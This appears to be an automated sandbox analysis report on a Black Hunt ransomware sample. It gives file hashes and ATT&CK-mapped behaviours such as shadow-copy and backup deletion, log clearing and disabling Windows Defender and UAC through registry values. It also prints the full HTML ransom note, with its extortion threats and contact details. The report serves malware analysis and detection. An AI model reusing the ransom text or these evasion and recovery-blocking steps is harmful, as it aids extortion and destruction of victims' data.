f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19-01-2024 01:28

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General

Target

f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
Size

707KB
MD5

dc0f6378a2cc070250c5a7da3be447cb
SHA1

01eac35464013979f761ead5354ba29769019a58
SHA256

f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015
SHA512

2d44642fed2b9b43feca54bf164e65913b202f901d0728aaea38bf44310b05e49ca9813eae01b7784e0b1380743f6b60aa71c6e4b491021ca5762b4b1cab060e
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1F8kvnh:6uaTmkZJ+naie5OTamgEoKxLWoah

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1Ii8+IDxwaG90b3Nob3A6VGV4dExheWVycz4gPHJkZjpCYWc+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iSHVudCAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJIdW50ICAiLz4gPHJkZjpsaSBwaG90b3Nob3A6TGF5ZXJOYW1lPSJCbGFjayAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJCbGFjayAgIi8+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iMi4wIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSIyLjAiLz4gPC9yZGY6QmFnPiA8L3Bob3Rvc2hvcDpUZXh0TGF5ZXJzPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PvFKMOAAAAS2SURBVGje7Vq/ixNBFM55vQRtLLe2itoEbPIHpEghB4LBdFaB9Gm2sNhCIU0qm1x/RSz0EEHWw8LikFRBQXERUWOVSrSQdVbeHO++vPd2ci4BuQx83LGz82Pnfe+9b2ZSy/O8tsUWBc7Xx54uLYdvDt8dFhWj6Pfzf4KvDq+F9fmnMnCIGaLaBgp9RIxjB5ChmG++xV88l8jQEBbWY0D1ql0A9dpmSl0aO4AMj7YkOMFDiQxxQMOZQIoWvJPVNldWxg5IE7sOr7YkOMEdiQxpYOMleD6G3OkGyYAEngaQ4YrDF94u293NF4Tif17XdFiw+qMLFzZusGRnJx8Tug4V9v2rcG6JDEshCqTC85w80pcJ1MVGSG+dQU/4dlKamuLYAWS46fA71Nh9t/i8flytMUrRhvErJsMHh0tIhkh4kRtjaZBhZtR5LYJRZ0Tg0QZLT+g7o+e+ZDg2fVhDmPOI2txbx9hjqO9vmAz7jpx8/Kja/p8yIX5SOkJUsMgQBYrHnhJZECmMV5ayIk08KkSYsP5H1mKj5x1BfZORqKjzGFK7JrXx2GeRhj9vU9jPICp5Yw+pf17v3/HtKyDDA4kMsWCcFpEkVTysTDw2AomAqWVW8m7PGLsuRIsJ+9gdhxeWsdHzND2hkUiLNF14jkb2SOj9A+gfUVGE2JPIkJ7BaGXiMRWEZ0fI8zk913Y0MRl+AilCIjASaQaa4bLDR/7OQvE8D153CF4uGUdLKwk81+DJc2yQYQ4i94z46XBDIkNoKEc9oInHhtC+YaSWSJlHbAjLacA2uA5kuEYKWhRnoYZCEnHjaCRBTy8iQ5EK0Oh8DGzTrlavvPUpnZMhUrwxViJGI0A8xoYGaQgRQwr7ZYdXWdn2V9hN3OXvDdckg08FSCIeMTKFJMeBkWTIDD6H8SsWp0/gJFcUjyks+sjwVs14qdGmp4wXl8yj7ORxhbQCGRJLPBaeOGZ7+rmSp4eKLsBtKieJtn09VLw/WuN8oyBpkYaaQl1EKaoA6IxEIkNsCESpPg4QjxYZNHKtQ4ZWABkmAhmeWeIR+9BSwYEiHoeB4pHvMDTv7waeb3AyoZaIICIdnybUnkSGVFHrPoVgOB4o4jE1yDAytERH6Y+fdDYgZcTKLmOp3VNQ+/easWGhzFSAJCq8rg/bRE6SREkFlvePDQLhPIc0NpLBj8ujHEWHHw7XJTJoJ49ZyVF0bGz7UkWA5oZ4lIiSMV0yNcTjiD4Io86AkeEqLYLoeQew2OjlCfPMo5JtH6YVLRX0DYOPBT1T9COdQPq5Yp0ft8nmTHOaO1xEMkRrio5eiXfGa14RL9e8H+kEnDyKF1eu3JK8RjK2lQpCycC9VEsF1ummJm4xQnjdM6eIE9HcI/YN+3R4xeb0WPgpwIp41DANuK3kZKgrh0cTMHgqCMOZQZxO2bW1QJQO+91DkLEl9W8dYftQzI3r04qVCrTTTW2OIakkoZTRpksthWz3JTJEZFQLZVfIIzJyDISpU4RI2cGR995WyaVVj/pN6W+Ppac6zhGEIn5TRM9fVrk1a1Kq6a6q9MovqroM2hy6bDfRFN4Bot1eIcM5+9nbG4dPW9TekX46v2TYwsYf/4cvUeVs4qUAAAAASUVORK5CYII= " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 4HlujGHDgJYKU2VK </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2848	fsutil.exe
3108	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	conhost.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3120	wevtutil.exe
3512	wevtutil.exe
1976	wevtutil.exe
3188	wevtutil.exe
3136	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
808	bcdedit.exe
1756	bcdedit.exe
2176	bcdedit.exe
768	bcdedit.exe

Renames multiple (2887) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1976	wbadmin.exe
3036	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
1196	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\V:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\O:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\S:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\Z:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\W:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\R:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\I:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\U:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\A:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\Q:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\E:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\H:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\N:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Y:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\G:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\L:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\P:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\J:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\K:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\M:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened (read-only)	\??\B:	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\ConnectExit.mpg	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-swing-tabcontrol.xml	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jre7\lib\psfont.properties.ja	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_Private.key	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AIR\#BlackHunt_Private.key	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jakarta	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-favorites.xml	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Regina	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\Audio-48.png	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\dummy.luac	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Pangnirtung	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Kaliningrad	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_ReadMe.txt	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Belize	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Denver	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\EST5	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\newgrounds.luac	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\splash.gif	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_Private.key	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Pitcairn	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Bermuda	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.filetransfer_5.0.0.v20140827-1444.jar	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winClassicTSFrame.png	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\#BlackHunt_Private.key	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-jvm.jar	f7a4286c231d7b4b01cf73f57f7f8a3ef18149164690c580d63a252fa40a2015.exe
